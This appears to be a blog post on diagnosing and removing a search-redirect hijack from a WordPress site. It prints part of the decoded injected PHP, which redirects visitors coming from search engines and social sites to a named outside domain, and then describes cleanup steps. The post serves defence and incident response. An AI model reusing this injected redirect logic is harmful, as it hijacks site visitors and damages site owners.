WordPress Search Redirect Hijack

I recently had the opportunity to work with a friend on fixing a WordPress installation (version 3.5.1) that every time the page was accessed via a search engine it would redirect to a generic site, in this case http://kmlps.mrslove.com/.

This hijack consisted of PHP code being inserted into the various WordPress and plugin PHP files.

Here is the code that was injected into all of the pages.


This is simply a base64 encoded block of PHP code that is decoded then evaluated by the PHP processor when the page loads. When you decode the text, you can see exactly what the code does.

if (!$qazplm){
	if ($uag) {
		if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
			if (stristr($referer,"yahoo") 
				or stristr($referer,"bing") 
				or stristr($referer,"rambler") 
				or stristr($referer,"gogo") 
				or stristr($referer,"live.com")
				or stristr($referer,"aport") 
				or stristr($referer,"nigma") 
				or stristr($referer,"webalta") 
				or stristr($referer,"begun.ru") 
				or stristr($referer,"stumbleupon.com") 
				or stristr($referer,"bit.ly") 
				or stristr($referer,"tinyurl.com") 
				or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) 
				or preg_match ("/google\.(.*?)\/url\?sa/",$referer) 
				or stristr($referer,"myspace.com") 
				or stristr($referer,"facebook.com") 
				or stristr($referer,"aol.com")) {
				if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
					header("Location: http://kmlps.mrslove.com/");

As you can see with the code, if the HTTP Referrer is any of a slew of websites/search engines, then the code will redirect the user to the specific location using a 301 redirect. This allows a user to access the site directly, but not through many search engines. This will definitely cause a lot of problems for a website that gets most of its traffic from search engines.

The Fix

I was able to fix the issue by copying all of the WordPress files off of the server, and removing the code from each of the files.

NOTE: Windows Defender picked up the bad code in the PHP files and quarantined them. If this happens for you, you will have to pull the files out of quarantine before you can edit them.

After you have the files copied over and are able to edit them, it’s simply a matter of removing the bad code. Once the code is removed, re-upload them to the server. This is a bit laborious, but it definitely gets the job done. Just make sure you don’t miss any files, otherwise the problem will persist.

One of the better, and probably more thorough way to clean up the issue would be to upgrade/re-install the version of WordPress that you are using. This can be done through the built in WordPress Updates processes. The update will replace the bad files with clean versions. As always, make sure you make a backup before doing any major upgrades, etc.

Another option would be to restore the files from a backup. Since the database didn’t seem to be affected, simply performing a content restore from a backup would also have corrected the issue.

Bottom line, you should always make sure you are staying on top of updates for content management systems like WordPress, Joomla, etc. And you should make sure that your FTP accounts, etc. all have solid passwords. It will save you a lot of headache, and possibly a lot of lost business down the road.